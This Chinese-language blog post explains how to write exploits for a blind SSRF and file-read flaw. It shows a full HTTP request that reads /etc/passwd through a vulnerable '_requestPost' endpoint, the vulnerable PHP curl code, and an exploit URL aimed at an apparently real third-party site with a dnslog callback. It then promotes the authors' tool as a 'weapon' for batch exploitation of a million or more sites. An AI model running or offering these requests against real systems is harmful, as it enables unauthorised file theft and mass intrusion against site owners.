背景
我们在实战的时候遇到任意文件读取或者是ssrf漏洞来说任意文件读取漏洞那个如果有回显可以直接根据回显发送post get包就行了。如果没有回显那么我们如何编写这种漏洞的exp。例如:如下漏洞
https://mp.weixin.qq.com/s/Cr1XIUkge36cGYtpHtw1Dw
漏洞exp:
GET /api/wxapps/_requestPost?url=file:///etc/passwd&data=1 HTTP/2
Host: 127.0.0.1
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
使用内置 curl_exec函数发送请求。漏洞原理
//不带报头的curl
public
function
_requestPost($url, $data, $ssl = true)
{
//curl完成
$curl = curl_init();
//设置curl选项
curl_setopt($curl, CURLOPT_URL, $url);//URL
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 FirePHP/0.7.4';
curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);//user_agent,请求代理信息
curl_setopt($curl, CURLOPT_AUTOREFERER, true);//referer头,请求来源
curl_setopt($curl, CURLOPT_TIMEOUT, 30);//设置超时时间
//SSL相关
if ($ssl) {
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//禁用后cURL将终止从服务端进行验证
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);//检查服务器SSL证书中是否存在一个公用名(common name)。
}
// 处理post相关选项
curl_setopt($curl, CURLOPT_POST, true);// 是否为POST请求
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);// 处理请求数据
// 处理响应结果
curl_setopt($curl, CURLOPT_HEADER, false);//是否处理响应头
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);//curl_exec()是否返回响应结果
// 发出请求
$response = curl_exec($curl);
if (false === $response) {
echo
'<br>', curl_error($curl), '<br>';
return
false;
}
curl_close($curl);
return $response;
}
我们随便找个网站看看exp就是https://5319.newadco.com//api/wxapps/_requestPost?url=http://dnslog地址/&data=
是不是可以这么理解。那我们编写的时候直接这么编写不就行了。我们看nuclei ssrf编写案例
https://mp.weixin.qq.com/s/Z4IFUVFjhWHYtAUCxz50LQ
如果我们利用python或者自己写一个程序来实现ssrf那将会是很麻烦所以我们来介绍我们工具编写ssrf步骤。
工具编写ssrf漏洞代码展示
使用我们的工具编写ssrf漏洞只需简单的按规则发送请求即可。注意:
其中www.dnslog.cn 只能国内ip使用。
这个只能国外地址使用 https://dnslog.org
https://oast.pro/ 这个国内外ip都可以使用也就是nuclei使用的
如果返回的是vul exist!!! 那么就存在漏洞并且结果exp已经写出来了。
怎么样我们使用三个dns平台测试ssrf漏洞当然实战建议选择后面两个因为dnslog只能国内ip使用。
总结
现在觉得编写exp poc很难么。还觉得难的话那是没有遇到我们的软件。后续源码小范围分享的时候会在内部辅导教学编写exp。直到学会为止。前提是你得会渗透测试能看懂http报文。和会简单的编程最好是C#编写。在这个waf 满天飞的时代我们必须有一个属于自己的exp poc武器。我们的武器现在可以最少支持100万网站的所有模块的批量。目前在测试框架1000w url的批量。相信市面上很少有工具可以达到这个程度。等测试完毕在发布测试文章。总之就是会发送get post这些请求包就行了。至于上传这个比较难。回头单独讲解吧。这个就写这么多吧。这个属于直达心脏比较危险你们懂得不适合大范围分享。因为我们的软件可以抗百万url。今天就讲到这里吧。